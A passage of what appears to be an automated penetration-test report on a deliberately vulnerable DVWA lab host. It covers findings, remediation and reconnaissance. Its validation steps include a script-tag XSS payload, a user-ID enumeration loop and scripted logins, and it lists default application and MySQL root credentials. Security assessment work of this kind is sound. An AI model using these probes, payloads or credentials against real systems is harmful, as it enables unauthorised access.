Set HttpOnly and SameSite on session cookies and use Secure wherever HTTPS is enabled.

SHORT-TERM (1-2 WEEKS)

Enforce HTTPS, configure secure cookie defaults in PHP/application settings, and test all authentication flows.

LONG-TERM (1-3 MONTHS)

Standardize session cookie policy across applications through framework defaults and security configuration baselines.

VALIDATION STEPS

```
$ curl -I 'http://<TARGET_DOMAIN>/login.php' | grep -i 'Set-Cookie'
$ curl -I 'http://<TARGET_DOMAIN>/' | grep -i 'PHPSESSID'
$ curl -I 'http://<TARGET_DOMAIN>/' | grep -Eiv 'HttpOnly|Secure|SameSite'
```

MEDIUM VULN-cold-mat-0048

Source and Hint Disclosure via Query Parameters

AV: Source code disclosure | Asset: http://172.17.0.3/vulnerabilities/xss_r/?source=1 and http://172.17.0.3/vulnerabilities/xss_r/?hint=1 | Target: http://172.17.0.3

DESCRIPTION

Application source code and hints are exposed through query parameters. This can disclose implementation details and assist attackers in identifying and exploiting vulnerabilities. **Also includes:** Hint disclosure via hint parameter

IMPACT

Exposed source and hints reveal implementation details that reduce attacker effort in finding and exploiting vulnerabilities. This can turn otherwise difficult flaws into easily reproducible attacks.

DIMENSION	RATING
Confidentiality	Medium
Integrity	Medium
Availability	Low
Compliance	Medium

EVIDENCE

```
?source=1; ?hint=1
```

REMEDIATION

IMMEDIATE (24-48H)

Disable source and hint query functionality in deployed environments.

SHORT-TERM (1-2 WEEKS)

Remove debug/tutorial features and ensure source disclosure routes require administrative authorization if retained.

LONG-TERM (1-3 MONTHS)

Separate training/debug builds from production builds and enforce environment-specific feature flags.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/xss_r/?source=1'
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/xss_r/?hint=1'
$ curl -s 'http://<TARGET_DOMAIN>/vulnerabilities/xss_r/?source=1' | grep -Ei 'source|php|script'
```

MEDIUM VULN-cold-mat-0046

PHPIDS path disclosure via error message

AV: information disclosure | Asset: PHPIDS error handling on http://172.17.0.3 | Target: http://172.17.0.3

DESCRIPTION

Error messages disclose the PHPIDS temporary folder path. Path disclosure can help attackers understand application structure and plan further attacks.

IMPACT

Path disclosure helps attackers map filesystem layout and identify useful files or writable directories. This information can support file inclusion, upload, and local privilege escalation chains.

DIMENSION	RATING
Confidentiality	Medium
Integrity	Low
Availability	Low
Compliance	Medium

EVIDENCE

```
Error reveals PHPIDS tmp folder path: ../../external/phpids/0.6/lib/IDS/tmp
```

REMEDIATION

IMMEDIATE (24-48H)

Disable verbose error output and hide PHPIDS path details from users.

SHORT-TERM (1-2 WEEKS)

Configure production error handling to log details server-side while returning generic client errors.

LONG-TERM (1-3 MONTHS)

Implement centralized error handling standards and continuous checks for information disclosure.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/external/phpids/'
$ curl -s 'http://<TARGET_DOMAIN>/external/phpids/' | grep -Ei '/var/|tmp|phpids'
$ curl -i 'http://<TARGET_DOMAIN>/ids_log.php'
```

MEDIUM VULN-cold-mat-0051

Legacy/EOL software stack detected

AV: Outdated component exposure | Asset: Apache httpd 2.4.10 on port 80/tcp, PHP 5.6.30, MySQL 5.5.54 on port 3306/tcp | Target: http://172.17.0.3

DESCRIPTION

The target is running legacy software versions including Apache httpd 2.4.10, PHP 5.6.30, and MySQL 5.5.54. End-of-life or outdated components may contain known vulnerabilities and lack security updates.

IMPACT

Legacy Apache, PHP, and MySQL versions may contain known vulnerabilities and no longer receive security fixes. Attackers can use public exploit knowledge against outdated components, increasing compromise likelihood.

DIMENSION	RATING
Confidentiality	Medium
Integrity	Low
Availability	Low
Compliance	Medium

EVIDENCE

```
Legacy/EOL stack observed: Apache httpd 2.4.10, PHP 5.6.30, MySQL 5.5.54.
```

REMEDIATION

IMMEDIATE (24-48H)

Restrict exposure of legacy services to trusted networks and apply available security patches.

SHORT-TERM (1-2 WEEKS)

Upgrade Apache, PHP, and MySQL to supported versions and test application compatibility.

LONG-TERM (1-3 MONTHS)

Maintain lifecycle management with asset inventory, patch SLAs, and planned retirement of EOL technology.

VALIDATION STEPS

```
$ nmap -sV -p 80,3306 <TARGET_DOMAIN>
$ curl -I 'http://<TARGET_DOMAIN>/' | grep -i 'Server'
$ curl -s 'http://<TARGET_DOMAIN>/phpinfo.php' | grep -Ei 'PHP Version|Apache|MySQL'
```

MEDIUM VULN-cold-mat-0057

Client-Side Security Level Cookie Manipulation

AV: Cookie manipulation | Asset: security cookie on http://172.17.0.3 port 80 | Target: http://172.17.0.3

DESCRIPTION

The application security level is controlled by a client-side cookie named "security". An authenticated user can manipulate this cookie to change application security levels, potentially weakening protections and enabling easier exploitation of vulnerable features.

IMPACT

Client-controlled security settings allow users to weaken application protections by modifying a cookie. This enables easier exploitation of vulnerable modules and defeats server-side security policy expectations.

DIMENSION	RATING
Confidentiality	Medium
Integrity	Medium
Availability	Low
Compliance	Medium

EVIDENCE

```
Session cookies: PHPSESSID, security; Security levels: low/medium/high controlled via client-side cookie;
security_cookie_low.html, security_cookie_medium.html, security_cookie_high.html
```

REMEDIATION

IMMEDIATE (24-48H)

Ignore client-supplied security-level cookies and force the safest server-side level.

SHORT-TERM (1-2 WEEKS)

Store security policy server-side and validate changes only through authorized administrative actions.

LONG-TERM (1-3 MONTHS)

Remove client-controlled security switches from production architecture and enforce configuration through deployment management.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/security.php'
$ curl -i -H 'Cookie: security=low' 'http://<TARGET_DOMAIN>/security.php'
$ curl -i -H 'Cookie: security=impossible' 'http://<TARGET_DOMAIN>/security.php'
```

MEDIUM VULN-cold-mat-0058

Session Garbage Collection Disabled

AV: Session management misconfiguration | Asset: PHP session management on http://172.17.0.3, port 80 | Target: http://172.17.0.3

DESCRIPTION

PHP session garbage collection is disabled because session.gc_probability is set to 0. Although session.gc_maxlifetime is configured, expired session files may not be removed, causing sessions to accumulate indefinitely and potentially increasing the risk of stale session reuse.

IMPACT

Disabled session garbage collection can leave expired session files on disk indefinitely, increasing the risk of stale session reuse or sensitive session data accumulation. This can also create operational storage and cleanup issues.

DIMENSION	RATING
Confidentiality	Medium
Integrity	Low
Availability	Low
Compliance	Medium

EVIDENCE

```
session.gc_probability = 0 (never runs); session.gc_maxlifetime = 1440 (24 minutes, but never enforced)
```

php_session_config.txt exploit_output 677 B

REMEDIATION

IMMEDIATE (24-48H)

Set session.gc_probability to a nonzero value or schedule immediate cleanup of expired session files.

SHORT-TERM (1-2 WEEKS)

Tune PHP session lifetime and garbage collection settings and verify expired sessions are invalidated.

LONG-TERM (1-3 MONTHS)

Move to centralized session storage with explicit expiry enforcement, monitoring, and cleanup guarantees.

VALIDATION STEPS

```
$ curl -s 'http://<TARGET_DOMAIN>/phpinfo.php' | grep -i 'session.gc_probability'
$ curl -s 'http://<TARGET_DOMAIN>/phpinfo.php' | grep -i 'session.gc_maxlifetime'
$ curl -s 'http://<TARGET_DOMAIN>/php.ini' | grep -i 'session.gc_probability'
```

MEDIUM VULN-cold-mat-0065

Unauthenticated CSRF Database Reset

CWE: CWE-352 | CVSS: 6.5 | AV: CSRF | Asset: http://172.17.0.3/setup.php parameter create_db | Target: http://172.17.0.3 | OWASP: A01:2021 – Broken Access Control

DESCRIPTION

The DVWA setup page allows a database create/reset action through a POST request without enforcing the hidden user_token. This could allow an attacker to trigger a database reset action, potentially disrupting application data and availability.

IMPACT

An unauthenticated or insufficiently protected database reset action can disrupt application availability and destroy data. Attackers may trigger destructive administrative actions through crafted requests.

DIMENSION	RATING
Confidentiality	Medium
Integrity	Low
Availability	Low
Compliance	Medium

EVIDENCE

```
POST /setup.php with create_db=Create+/+Reset+Database returned HTTP/1.1 302 Found with Location: setup.php;
alternate encoded payload observed: create_db=Create+%2F+Reset+Database
```

csrf_testing_evidence.txt exploit_output 2,994 B

REMEDIATION

IMMEDIATE (24-48H)

Disable setup.php or block database reset actions immediately.

SHORT-TERM (1-2 WEEKS)

Require authentication, admin authorization, anti-CSRF tokens, and re-authentication for setup/reset actions.

LONG-TERM (1-3 MONTHS)

Remove setup functionality from deployed environments and manage database initialization through controlled deployment tooling.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/setup.php'
$ curl -i -X OPTIONS 'http://<TARGET_DOMAIN>/setup.php'
$ curl -s 'http://<TARGET_DOMAIN>/setup.php' | grep -Ei 'create_db|user_token'
```

MEDIUM VULN-cold-mat-0070

Predictable sequential user IDs enable enumeration

AV: ID enumeration / parameter manipulation | Asset: http://172.17.0.3/vulnerabilities/sqli/?id=<NUMERIC_ID>&Submit=Submit | Target: http://172.17.0.3

DESCRIPTION

User object identifiers are predictable sequential integers. This enables systematic enumeration of user accounts and supports unauthorized access through IDOR-style parameter manipulation.

IMPACT

Sequential identifiers allow attackers to enumerate users and resources predictably. This supports data harvesting and can amplify IDOR vulnerabilities when authorization checks are weak.

DIMENSION	RATING
Confidentiality	Medium
Integrity	Medium
Availability	Low
Compliance	Medium

EVIDENCE

```
User ID mapping confirmed: 1=admin, 2=gordonb, 3=1337, 4=pablo, 5=smithy
```

idor_findings_complete.txt exploit_output 5,470 B

REMEDIATION

IMMEDIATE (24-48H)

Restrict access to enumerable user lookup endpoints until authorization is enforced.

SHORT-TERM (1-2 WEEKS)

Enforce object-level authorization and avoid exposing predictable internal IDs directly.

LONG-TERM (1-3 MONTHS)

Use opaque identifiers for external references and add enumeration abuse detection and rate limiting.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/sqli/?id=1&Submit=Submit'
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/sqli/?id=2&Submit=Submit'
$ for i in 1 2 3 4 5; do curl -s 'http://<TARGET_DOMAIN>/vulnerabilities/sqli/?id='$i'&Submit=Submit' | grep -i 'First name'; done
```

MEDIUM VULN-cold-mat-0072

HTTP Method Bypass on Setup Endpoint

AV: HTTP method bypass | Asset: http://172.17.0.3/setup.php on port 80 | Target: http://172.17.0.3

DESCRIPTION

The /setup.php endpoint accepts PUT, DELETE, and OPTIONS requests without authentication or method restrictions. This may allow attackers to bypass intended access controls or interact with sensitive functionality using unexpected HTTP methods.

IMPACT

Unexpected HTTP methods on a sensitive setup endpoint may bypass assumptions in routing, authentication, or middleware. This can expose administrative functionality to unintended request paths.

DIMENSION	RATING
Confidentiality	Medium
Integrity	Low
Availability	Low
Compliance	Medium

EVIDENCE

```
/setup.php: PUT=200, DELETE=200, OPTIONS=200 (no method restrictions)
```

access_control_findings_evidence.txt exploit_output 5,340 B

REMEDIATION

IMMEDIATE (24-48H)

Block PUT, DELETE, and unnecessary methods for setup.php at the web server.

SHORT-TERM (1-2 WEEKS)

Implement explicit method allowlists and require authentication/authorization before processing setup routes.

LONG-TERM (1-3 MONTHS)

Adopt deny-by-default routing and automated tests for HTTP method handling on sensitive endpoints.

VALIDATION STEPS

```
$ curl -i -X OPTIONS 'http://<TARGET_DOMAIN>/setup.php'
$ curl -i -X PUT 'http://<TARGET_DOMAIN>/setup.php'
$ curl -i -X DELETE 'http://<TARGET_DOMAIN>/setup.php'
```

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08 Low Severity Findings

LOW VULN-cold-mat-0076

Cross-Site Scripting

CWE: CWE-79 | CVSS: 6.1 | AV: XSS | Asset: http://172.17.0.3 port 80 | Target: http://172.17.0.3 | OWASP: A03:2021 – Injection

DESCRIPTION

Reflected, stored, and DOM-based cross-site scripting vulnerabilities were reported in the DVWA web application. Successful exploitation can allow execution of attacker-controlled JavaScript in a user's browser, leading to session theft, phishing, or client-side actions performed as the victim.

IMPACT

Cross-site scripting can execute attacker-controlled code in users' browsers, enabling session theft, phishing, or unauthorized actions. Even low-severity instances can become severe when combined with weak cookie protections or admin sessions.

DIMENSION	RATING
Confidentiality	Low
Integrity	Low
Availability	Low
Compliance	Low

EVIDENCE

```
VULNERABILITY: [LOW] Cross-Site Scripting (Reflected, Stored, DOM) (CVE: N/A) on port 80
```

REMEDIATION

IMMEDIATE (24-48H)

Filter active script payloads and deploy a temporary CSP to reduce immediate exploitation.

SHORT-TERM (1-2 WEEKS)

Apply context-aware output encoding, sanitize stored content, and remove unsafe JavaScript sinks.

LONG-TERM (1-3 MONTHS)

Build XSS prevention into coding standards, component libraries, CSP governance, and automated testing.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/xss_r/?name=%3Cscript%3Ealert(1)%3C/script%3E'
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/xss_s/'
$ curl -s 'http://<TARGET_DOMAIN>/dvwa/js/dvwaPage.js' | grep -n 'eval'
```

LOW VULN-cold-mat-0022

robots.txt Reveals Site-Wide Disallow Rule

AV: Information Disclosure | Asset: http://172.17.0.3/robots.txt on port 80 | Target: http://172.17.0.3

DESCRIPTION

The robots.txt file reveals a Disallow: / directive. While not a direct exploit, it discloses that the site is intended to be hidden from crawlers and may draw attacker attention to otherwise undiscovered content.

IMPACT

robots.txt disclosure is not directly exploitable but can reveal site intent and guide attacker reconnaissance. It may draw attention to hidden or sensitive paths.

DIMENSION	RATING
Confidentiality	Low
Integrity	Low
Availability	Low
Compliance	Low

EVIDENCE

```
VULNERABILITY: [LOW] robots.txt reveals Disallow: / on port 80
```

REMEDIATION

IMMEDIATE (24-48H)

Remove sensitive path references from robots.txt if they are not required.

SHORT-TERM (1-2 WEEKS)

Ensure robots.txt does not disclose private structure and enforce real access control on sensitive content.

LONG-TERM (1-3 MONTHS)

Include public metadata files in security reviews and content governance.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/robots.txt'
$ curl -s 'http://<TARGET_DOMAIN>/robots.txt' | grep -i 'Disallow'
$ curl -s 'http://<TARGET_DOMAIN>/robots.txt' | cat
```

LOW VULN-cold-mat-0023

No WAF Protection Detected

AV: Security Misconfiguration | Asset: http://172.17.0.3 on port 80 | Target: http://172.17.0.3

DESCRIPTION

No web application firewall protection was detected. This reduces defensive coverage against common web attacks such as SQL injection, XSS, and command injection.

IMPACT

Without WAF coverage, common attacks such as SQL injection, XSS, and command injection reach the application directly. This increases reliance on application code correctness and reduces detection/blocking opportunities.

DIMENSION	RATING
Confidentiality	Low
Integrity	Low
Availability	Low
Compliance	Low

EVIDENCE

```
VULNERABILITY: [LOW] No WAF protection detected on port 80
```

REMEDIATION

IMMEDIATE (24-48H)

Apply emergency reverse-proxy or WAF rules for known high-risk endpoints and payload classes.

SHORT-TERM (1-2 WEEKS)

Deploy a WAF in detection/blocking mode with tuned rules for application attack patterns.

LONG-TERM (1-3 MONTHS)

Integrate WAF telemetry with SIEM/SOC processes and maintain defense-in-depth alongside secure coding.

VALIDATION STEPS

```
$ curl -I 'http://<TARGET_DOMAIN>/'
$ curl -i 'http://<TARGET_DOMAIN>/?q=%3Cscript%3Ealert(1)%3C/script%3E'
$ nmap --script http-waf-detect -p 80 <TARGET_DOMAIN>
```

LOW VULN-cold-mat-0027

Source Code Exposure via Directory Listings

AV: Source code disclosure | Asset: http://172.17.0.3 directory listings on port 80 | Target: http://172.17.0.3

DESCRIPTION

Application source code is exposed through directory listings. Source disclosure can reveal credentials, business logic, vulnerable code paths, and implementation details useful for exploitation.

IMPACT

Source exposure can reveal credentials, vulnerable logic, and hidden endpoints useful for exploitation. Attackers can use disclosed code to develop reliable targeted attacks.

DIMENSION	RATING
Confidentiality	Low
Integrity	Low
Availability	Low
Compliance	Low

EVIDENCE

```
VULNERABILITY: [LOW] Source Code Exposure via Directory Listings on port 80; Source code accessible via directory listings (dvwa/includes/, dvwa/includes/DBMS/)
```

REMEDIATION

IMMEDIATE (24-48H)

Disable directory listing and remove exposed source files that are not required for runtime.

SHORT-TERM (1-2 WEEKS)

Audit public directories for source, backup, and configuration artifacts and deny direct access.

LONG-TERM (1-3 MONTHS)

Use build artifacts that exclude source/debug files and add deployment-time exposure scanning.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/vulnerabilities/'
$ curl -s 'http://<TARGET_DOMAIN>/vulnerabilities/' | grep -Ei 'Index of|\.php'
$ curl -i 'http://<TARGET_DOMAIN>/hackable/'
```

LOW VULN-cold-mat-0033

Missing HTTP Security Headers

AV: Security header misconfiguration | Asset: http://172.17.0.3:80 | Target: http://172.17.0.3

DESCRIPTION

Several recommended HTTP security headers are missing, including X-Frame-Options, X-Content-Type-Options, Content-Security-Policy, X-XSS-Protection, and Strict-Transport-Security. This weakens browser-side protections against clickjacking, MIME sniffing, cross-site scripting, and insecure transport usage.

IMPACT

Missing browser security headers weaken client-side protections against clickjacking, MIME sniffing, XSS, and insecure transport. This increases the impact of other web vulnerabilities.

DIMENSION	RATING
Confidentiality	Low
Integrity	Low
Availability	Low
Compliance	Low

EVIDENCE

```
Missing security headers (X-Frame-Options, X-Content-Type-Options, Content-Security-Policy, X-XSS-Protection, Strict-Transport-Security) (NSE: http-security-headers) on port 80
```

REMEDIATION

IMMEDIATE (24-48H)

Add X-Frame-Options, X-Content-Type-Options, and a basic Content-Security-Policy at the web server.

SHORT-TERM (1-2 WEEKS)

Tune CSP, enable HSTS after HTTPS is enforced, and validate headers across all routes.

LONG-TERM (1-3 MONTHS)

Maintain organization-wide secure header baselines and automated compliance checks.

VALIDATION STEPS

```
$ curl -I 'http://<TARGET_DOMAIN>/'
$ curl -I 'http://<TARGET_DOMAIN>/' | grep -Ei 'X-Frame-Options|X-Content-Type-Options|Content-Security-Policy|Strict-Transport-Security'
$ curl -I 'http://<TARGET_DOMAIN>/login.php'
```

LOW VULN-cold-mat-0035

Apache Server Version Disclosure

AV: Information disclosure | Asset: Apache HTTP service on port 80 | Target: http://172.17.0.3

DESCRIPTION

The web server discloses its software and version in HTTP responses, which may help attackers identify known vulnerabilities or tailor attacks against the server stack.

IMPACT

Server version disclosure helps attackers identify matching public vulnerabilities and tailor attacks. While not directly exploitable, it improves reconnaissance and targeting accuracy.

DIMENSION	RATING
Confidentiality	Low
Integrity	Low
Availability	Low

DIMENSION	RATING
Compliance	Low

EVIDENCE

```
Server version disclosure: Apache/2.4.10 (Debian) on port 80
```

REMEDIATION

IMMEDIATE (24-48H)

Disable detailed server tokens/version banners in Apache configuration.

SHORT-TERM (1-2 WEEKS)

Review all error pages and headers to minimize software and version disclosure.

LONG-TERM (1-3 MONTHS)

Include information disclosure checks in configuration baselines and external attack surface monitoring.

VALIDATION STEPS

```
$ curl -I 'http://<TARGET_DOMAIN>/' | grep -i 'Server'
$ nmap -sV -p 80 <TARGET_DOMAIN>
$ curl -I 'http://<TARGET_DOMAIN>/nonexistent' | grep -i 'Server'
```

LOW VULN-cold-mat-0040

Exposed setup page

AV: Forced browsing / exposed administrative functionality | Asset: http://172.17.0.3/setup.php | Target: http://172.17.0.3

DESCRIPTION

The DVWA setup page is accessible over HTTP. Setup or installation pages should be removed or restricted after deployment because they may allow application reconfiguration, database initialization, or other administrative actions.

IMPACT

An exposed setup page may allow attackers to discover or trigger administrative setup functions. If combined with weak authorization or CSRF flaws, it can lead to configuration changes or data reset.

DIMENSION	RATING
Confidentiality	Low
Integrity	Low
Availability	Low
Compliance	Low

EVIDENCE

```
/setup.php — HTTP 200, 3675B
```

REMEDIATION

IMMEDIATE (24-48H)

Remove setup.php or block access to it from all untrusted networks.

SHORT-TERM (1-2 WEEKS)

Require admin authentication, method restrictions, and CSRF protection for any retained setup functionality.

LONG-TERM (1-3 MONTHS)

Separate installation tooling from runtime deployments and enforce post-install cleanup in release automation.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/setup.php'
$ curl -s 'http://<TARGET_DOMAIN>/setup.php' | grep -Ei 'setup|create|reset'
$ curl -I 'http://<TARGET_DOMAIN>/setup.php'
```

LOW VULN-cold-mat-0059

Logout Does Not Delete Client-Side Session Cookie

AV: Session management misconfiguration | Asset: Logout functionality and PHPSESSID cookie on http://172.17.0.3, port 80 | Target: http://172.17.0.3

DESCRIPTION

Logout invalidates the session server-side, but the response does not expire or delete the client-side session cookie. This leaves stale session identifiers in the browser after logout.

IMPACT

Leaving stale session cookies in the browser after logout can confuse session handling and increase exposure if devices are shared or compromised. Although server-side invalidation helps, proper client cleanup reduces residual risk.

DIMENSION	RATING
Confidentiality	Low
Integrity	Low
Availability	Low
Compliance	Low

EVIDENCE

```
Server-side invalidation works correctly; No Set-Cookie with expiration on logout response
```

session_lifecycle_evidence.txt exploit_output 636 B

REMEDIATION

IMMEDIATE (24-48H)

Update logout to expire PHPSESSID with Max-Age=0 or an expired date.

SHORT-TERM (1-2 WEEKS)

Ensure logout invalidates server-side sessions and deletes all authentication-related cookies consistently.

LONG-TERM (1-3 MONTHS)

Standardize session termination behavior across applications and add regression tests for logout flows.

VALIDATION STEPS

```
$ curl -i -c /tmp/dvwa_logout.cookies 'http://<TARGET_DOMAIN>/login.php'
$ curl -i -b /tmp/dvwa_logout.cookies 'http://<TARGET_DOMAIN>/logout.php' | grep -i 'Set-Cookie'
$ grep PHPSESSID /tmp/dvwa_logout.cookies
```

LOW VULN-cold-mat-0060

Duplicate Set-Cookie Entries for PHPSESSID

AV: Cookie/session management misconfiguration | Asset: PHPSESSID cookie on http://172.17.0.3, port 80 | Target: http://172.17.0.3

DESCRIPTION

The application returns duplicate Set-Cookie headers for the PHPSESSID cookie. Duplicate session cookie headers can cause inconsistent client behavior and may complicate session handling.

IMPACT

Duplicate session cookie headers can cause inconsistent browser behavior and complicate session management. This may lead to unpredictable authentication states and make security controls harder to reason about.

DIMENSION	RATING
Confidentiality	Low
Integrity	Low
Availability	Low
Compliance	Low

EVIDENCE

```
Observed: PHPSESSID=...; path=/, PHPSESSID=...; path=/
```

REMEDIATION

IMMEDIATE (24-48H)

Remove duplicate Set-Cookie generation paths for PHPSESSID.

SHORT-TERM (1-2 WEEKS)

Centralize session cookie creation and verify only one authoritative cookie is set per response.

LONG-TERM (1-3 MONTHS)

Adopt framework-managed session handling with automated tests for cookie consistency.

VALIDATION STEPS

```
$ curl -I 'http://<TARGET_DOMAIN>/login.php' | grep -i 'Set-Cookie'
$ curl -i 'http://<TARGET_DOMAIN>/' | grep -i 'Set-Cookie: PHPSESSID'
$ curl -I 'http://<TARGET_DOMAIN>/login.php' | grep -ic 'PHPSESSID'
```

LOW VULN-cold-mat-0067

Sensitive Setup and Configuration Path Disclosure

AV: Information disclosure | Asset: http://172.17.0.3/setup.php | Target: http://172.17.0.3

DESCRIPTION

The setup page discloses internal application paths and environment details, including configuration, upload, and log file locations. This information can help an attacker plan further attacks against the application.

IMPACT

Disclosure of setup, upload, and log paths helps attackers plan file upload, inclusion, and persistence attacks. Internal path knowledge can shorten exploitation chains when combined with other weaknesses.

DIMENSION	RATING
Confidentiality	Low
Integrity	Low
Availability	Low
Compliance	Low

EVIDENCE

```
Setup page disclosed /var/www/html/config/config.inc.php, /var/www/html/hackable/uploads/, and
/var/www/html/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
```

REMEDIATION

IMMEDIATE (24-48H)

Restrict or remove setup.php and suppress internal path output.

SHORT-TERM (1-2 WEEKS)

Return generic status messages to users and log detailed environment checks server-side only.

LONG-TERM (1-3 MONTHS)

Implement information disclosure controls in development standards and deployment validation.

VALIDATION STEPS

```
$ curl -i 'http://<TARGET_DOMAIN>/setup.php'
$ curl -s 'http://<TARGET_DOMAIN>/setup.php' | grep -Ei '/var/|config|upload|log'
$ curl -s 'http://<TARGET_DOMAIN>/setup.php' | grep -Ei 'Writable|PHPIDS|Database'
```

LOW VULN-cold-mat-0073

Multiple Concurrent Sessions Allowed

AV: Session management weakness | Asset: Session management on http://172.17.0.3 port 80 | Target: http://172.17.0.3

DESCRIPTION

The application allows multiple simultaneous sessions for the same user and does not invalidate existing sessions after a new login. This can allow stolen or abandoned sessions to remain valid.

IMPACT

Allowing multiple concurrent sessions lets stolen or abandoned sessions remain valid after a user logs in elsewhere. This increases the window for unauthorized access and makes session compromise harder to detect.

DIMENSION	RATING
Confidentiality	Low
Integrity	Low
Availability	Low
Compliance	Low

EVIDENCE

```
Multiple sessions for same user remain valid simultaneously
```

REMEDIATION

IMMEDIATE (24-48H)

Invalidate existing sessions for a user when a new login occurs if concurrent sessions are not required.

SHORT-TERM (1-2 WEEKS)

Add session inventory, user-visible active session management, and logout-all-devices functionality.

LONG-TERM (1-3 MONTHS)

Implement centralized session management with anomaly detection, device binding options, and policy-based concurrency controls.

VALIDATION STEPS

```
$ curl -c /tmp/session1.cookies -d 'username=admin&password=password&Login=Login' 'http://<TARGET_DOMAIN>/login.php'
$ curl -c /tmp/session2.cookies -d 'username=admin&password=password&Login=Login' 'http://<TARGET_DOMAIN>/login.php'
$ curl -i -b /tmp/session1.cookies 'http://<TARGET_DOMAIN>/index.php'
```

09 Unverified Findings (Could Not Be Verified)

These findings had prior evidence but could not be reproduced during validation — the target was unreachable or returning errors at verification time. They are **not** counted in the scored totals or the overall risk rating, and require manual re-testing.

TARGET	SEVERITY	FINDING	STATUS	WHY UNVERIFIED
http://172.17.0.3	HIGH	Kernel Vulnerability - Copy Fail	INCONCLUSIVE	CVE-2026-31431 (algif_aead) is APPLICABLE to kernel 6.12.5 per validate_cve_version. However, exploitation requires local kernel access from inside the container. Cannot be remotely exploited or reproduced from external pentest position.

Target-by-Target Reconnaissance

http://172.17.0.3

Reconnaissance Analysis - http://172.17.0.3

1. TARGET INFORMATION

ATTRIBUTE	DETAILS
Target domain/IP	`http://172.17.0.3`
Primary IP	`172.17.0.3`
Organization	No data available for this section.
Hosting	Debian-based Docker container observed; host state `UP` ; OS fingerprint reported as `Linux 2.6.32` with `100% accuracy` ; host reachable via ICMP with `0%` packet loss and ~ `0.200 ms` average latency
Technology Stack Overview	`Apache httpd 2.4.10 (Debian)` on `80/tcp` ; `PHP 5.6.30` ; `MySQL 5.5.54-0+deb8u1-log` on `3306/tcp` ; `DVWA v1.10 *Development*` ; `PHPIDS 0.6` ; database backend `MySQL` ; database name `dvwa` ; DVWA security level `low` ; PHPIDS `disabled`

Additional target observations:

ITEM	DETAILS
Base URL	`http://172.17.0.3`
HTTP behavior	`http://172.17.0.3` returned HTTP `302` , redirecting to `/login.php`
ICMP reachability	Successful; `2/2` ping replies; `0%` packet loss
WAF detection	No named/usable WAF detected; one ambiguous WAF detection entry for `/login.php` ; "No WAF Protection Detected" was independently verified
Virtual host discovery	Vhost scan using `subdomains-5k.txt` : no virtual hosts found
Additional exposed technologies	`Apache/2.4.10 (Debian)` , `PHP 5.6.30` , `MySQL 5.5.54` , `DVWA v1.10` , `PHPIDS 0.6`
Cookies observed	`PHPSESSID` , `security=low`
Valid application credentials observed	`admin:password@http://172.17.0.3/login.php` ; additional DVWA credentials observed: `gordonb:abc123` , `pablo:letmein` , `smithy:password` , `1337:charley`
Database credentials exposure	`/config/config.inc.php` referenced default database credentials `root:root@localhost/mysql` ; exposed DVWA configuration with default database credentials was independently verified
MySQL root access	Exposed MySQL root access over network was independently verified

ITEM	DETAILS
Parser note	The “STRUCTURED SERVICE DATA” and “IDENTIFIED TECHNOLOGIES” sections reported `0` services / `0` technologies, but raw reconnaissance data identified HTTP and MySQL services as listed below

2. NETWORK SERVICES

Open Ports & Services

PORT	PROTOCOL	STATE	SERVICE	VERSION/DETAILS	RESPONSE BEHAVIOR
`80`	TCP	Open	HTTP	`Apache httpd 2.4.10 (Debian)` ; PHP `5.6.30` ; DVWA `v1.10 *Development*`	Base URL `http://172.17.0.3` returned HTTP `302` redirect to `/login.php` ; `/login.php` returned `200 OK` ; several authenticated DVWA modules returned `200 OK`
`3306`	TCP	Open	MySQL	`MySQL 5.5.54-0+deb8u1-log` ; database backend identified as `MySQL` ; DVWA database name `dvwa`	MySQL service exposed over the network
UDP top 100	UDP	No open ports discovered	N/A	No open UDP services discovered in top 100 scanned	No UDP services identified

Per-port security concerns:

PORT	CONCERN	DETAILS
`80/tcp`	Exposed DVWA development instance	DVWA `v1.10 *Development*` exposed at `http://172.17.0.3` ; security level set to `low` ; PHPIDS disabled
`80/tcp`	Default/weak credentials	Valid login confirmed for `admin:password` ; additional valid DVWA credentials observed: `gordonb:abc123` , `pablo:letmein` , `smithy:password` , `1337:charley`
`80/tcp`	Multiple verified vulnerable DVWA modules	Verified issues include blind SQL injection, command injection, reflected XSS, stored XSS, CSRF, brute force weakness, insecure CAPTCHA, unrestricted file upload, local file inclusion / remote code execution in file inclusion endpoint, and IDOR issues
`80/tcp`	Directory listing and sensitive path exposure	Directory listings observed at `/config/` , `/docs/` , `/external/` , `/hackable/` , `/hackable/users/` , `/external/phpids/` , and `/vulnerabilities/`
`80/tcp`	Missing HTTP security headers	Missing `X-Frame-Options` , `X-Content-Type-Options` , `Content-Security-Policy` , `X-XSS-Protection` , and `Strict-Transport-Security`
`80/tcp`	Server version disclosure	`Apache/2.4.10 (Debian)` disclosed
`3306/tcp`	Exposed MySQL service	MySQL exposed on the network as `MySQL 5.5.54-0+deb8u1-log`
`3306/tcp`	Exposed outdated MySQL service	Outdated MySQL service exposure independently verified

PORT	CONCERN	DETAILS
`3306/tcp`	Exposed MySQL root access	Network-accessible MySQL root access independently verified
`3306/tcp`	MySQL password hash disclosure	Independently verified
`3306/tcp`	Unrestricted MySQL `secure_file_priv` configuration	Independently verified

Service Detection Notes

OBSERVATION	DETAILS
Host state	`UP`, reason: `arp-response`
OS fingerprint	`Linux 2.6.32`, reported with `100%` accuracy
Environment	Debian-based Docker container
TCP services detected	`80/tcp` HTTP and `3306/tcp` MySQL
UDP scan	No open UDP ports discovered in top 100 scanned
SSL/TLS	No SSL/TLS services detected on scanned ports `80` or `3306`; HTTP only; no HTTPS observed
Other common services	No confirmation for `22/tcp`, `443/tcp`, or `8080/tcp`; no SMTP, LDAP, SMB, or Kerberos services detected
